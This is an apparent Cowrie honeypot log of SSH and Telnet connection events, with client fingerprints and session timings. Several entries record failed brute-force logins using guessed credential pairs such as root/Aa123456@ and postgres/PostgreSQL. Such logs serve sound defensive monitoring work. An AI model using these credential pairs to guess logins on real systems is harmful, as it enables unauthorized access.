{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:31.755039Z","src_ip":"122.168.114.167","session":"69e35b0bfc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.205","src_port":15940,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b35043b6017","protocol":"telnet","message":"New connection: 66.132.186.205:15940 (159.203.135.109:23) [session: 4b35043b6017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:36.340059Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":37420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d23ad695121b","protocol":"ssh","message":"New connection: 103.182.132.154:37420 (159.203.135.109:22) [session: d23ad695121b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:36.865056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:36.869709Z","src_ip":"103.182.132.154","session":"d23ad695121b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:37.082990Z","src_ip":"103.182.132.154","session":"d23ad695121b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"abc123","message":"login attempt [develop/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:37.969163Z","src_ip":"103.182.132.154","session":"d23ad695121b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.176","src_port":11048,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c985ee2f064","protocol":"telnet","message":"New connection: 66.132.172.176:11048 (159.203.135.109:23) [session: 4c985ee2f064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:38.085685Z"}
{"eventid":"cowrie.session.closed","duration":31.217877864837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:38.316394Z","src_ip":"212.47.75.195","session":"bb948ba7849b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:39.184801Z","src_ip":"103.182.132.154","session":"d23ad695121b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.486227512359619,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:41.571813Z","src_ip":"66.132.172.176","session":"4c985ee2f064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.176","src_port":48250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e75e5a68380b","protocol":"telnet","message":"New connection: 66.132.172.176:48250 (159.203.135.109:23) [session: e75e5a68380b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:48.461132Z"}
{"eventid":"cowrie.session.closed","duration":15.379883050918579,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:51.719761Z","src_ip":"66.132.186.205","session":"4b35043b6017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.205","src_port":34628,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c878474ae03","protocol":"telnet","message":"New connection: 66.132.186.205:34628 (159.203.135.109:23) [session: 0c878474ae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:54.747066Z"}
{"eventid":"cowrie.session.closed","duration":3.0866663455963135,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:57.833614Z","src_ip":"66.132.186.205","session":"0c878474ae03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44830,"dst_ip":"159.203.135.109","dst_port":22,"session":"419949fabf77","protocol":"ssh","message":"New connection: 122.168.114.167:44830 (159.203.135.109:22) [session: 419949fabf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:58.170583Z"}
{"eventid":"cowrie.session.closed","duration":10.899031639099121,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:59.360039Z","src_ip":"66.132.172.176","session":"e75e5a68380b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305370330810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:00.372493Z","src_ip":"212.47.75.195","session":"be7dd1c094ed","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:00.478451Z","src_ip":"122.168.114.167","session":"419949fabf77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:00.482666Z","src_ip":"122.168.114.167","session":"419949fabf77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.205","src_port":46072,"dst_ip":"159.203.135.109","dst_port":23,"session":"0984719f832c","protocol":"telnet","message":"New connection: 66.132.186.205:46072 (159.203.135.109:23) [session: 0984719f832c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:00.903319Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":54472,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2b88b56ed2","protocol":"ssh","message":"New connection: 202.4.106.201:54472 (159.203.135.109:22) [session: cc2b88b56ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:05.070976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:05.077921Z","src_ip":"202.4.106.201","session":"cc2b88b56ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:05.356123Z","src_ip":"202.4.106.201","session":"cc2b88b56ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rstudio-server","password":"rstudio-server","message":"login attempt [rstudio-server/rstudio-server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:06.494467Z","src_ip":"202.4.106.201","session":"cc2b88b56ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:07.774054Z","src_ip":"202.4.106.201","session":"cc2b88b56ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:10.019223Z","src_ip":"122.168.114.167","session":"419949fabf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.08094596862793,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:10.984130Z","src_ip":"66.132.186.205","session":"0984719f832c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":41898,"dst_ip":"159.203.135.109","dst_port":22,"session":"84560b91dc78","protocol":"ssh","message":"New connection: 159.223.45.177:41898 (159.203.135.109:22) [session: 84560b91dc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:11.934972Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55400,"dst_ip":"159.203.135.109","dst_port":23,"session":"52f0f9d63de7","protocol":"telnet","message":"New connection: 212.47.75.195:55400 (159.203.135.109:23) [session: 52f0f9d63de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:12.841138Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:13.067589Z","src_ip":"122.168.114.167","session":"419949fabf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:14.688455Z","src_ip":"159.223.45.177","session":"84560b91dc78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40958,"dst_ip":"159.203.135.109","dst_port":22,"session":"a225e282e12a","protocol":"ssh","message":"New connection: 159.203.92.129:40958 (159.203.135.109:22) [session: a225e282e12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:15.171020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:15.176082Z","src_ip":"159.203.92.129","session":"a225e282e12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:15.182945Z","src_ip":"159.203.92.129","session":"a225e282e12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"111111","message":"login attempt [at/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:15.194922Z","src_ip":"159.203.92.129","session":"a225e282e12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:16.201991Z","src_ip":"159.203.92.129","session":"a225e282e12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44758,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a8bf4b5c86d","protocol":"telnet","message":"New connection: 185.26.126.47:44758 (159.203.135.109:23) [session: 0a8bf4b5c86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:18.584866Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.16.117.204","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7d155d9119","protocol":"telnet","message":"New connection: 223.16.117.204:35808 (10.17.0.5:23) [session: 8f7d155d9119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:23.239010Z"}
{"eventid":"cowrie.session.closed","duration":11.549937963485718,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:30.134675Z","src_ip":"185.26.126.47","session":"0a8bf4b5c86d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.992316246032715,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:36.231173Z","src_ip":"223.16.117.204","session":"8f7d155d9119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":58154,"dst_ip":"159.203.135.109","dst_port":22,"session":"184b54ac3641","protocol":"ssh","message":"New connection: 103.182.132.154:58154 (159.203.135.109:22) [session: 184b54ac3641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:36.384531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:36.388926Z","src_ip":"103.182.132.154","session":"184b54ac3641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:36.603574Z","src_ip":"103.182.132.154","session":"184b54ac3641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"PostgreSQL","message":"login attempt [postgres/PostgreSQL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:37.494413Z","src_ip":"103.182.132.154","session":"184b54ac3641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47240,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b40d4f548c","protocol":"ssh","message":"New connection: 122.168.114.167:47240 (159.203.135.109:22) [session: 52b40d4f548c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:37.690530Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:38.712660Z","src_ip":"103.182.132.154","session":"184b54ac3641","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:40.846497Z","src_ip":"122.168.114.167","session":"52b40d4f548c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:40.850451Z","src_ip":"122.168.114.167","session":"52b40d4f548c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.563070058822632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:43.404094Z","src_ip":"212.47.75.195","session":"52f0f9d63de7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:55.507606Z","src_ip":"122.168.114.167","session":"52b40d4f548c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39054,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c44f748ce88","protocol":"telnet","message":"New connection: 62.171.135.55:39054 (159.203.135.109:23) [session: 8c44f748ce88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:42:56.748749Z"}
{"eventid":"cowrie.session.closed","duration":"22.5","message":"Connection lost after 22.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:43:00.147610Z","src_ip":"122.168.114.167","session":"52b40d4f548c","protocol":"ssh"}
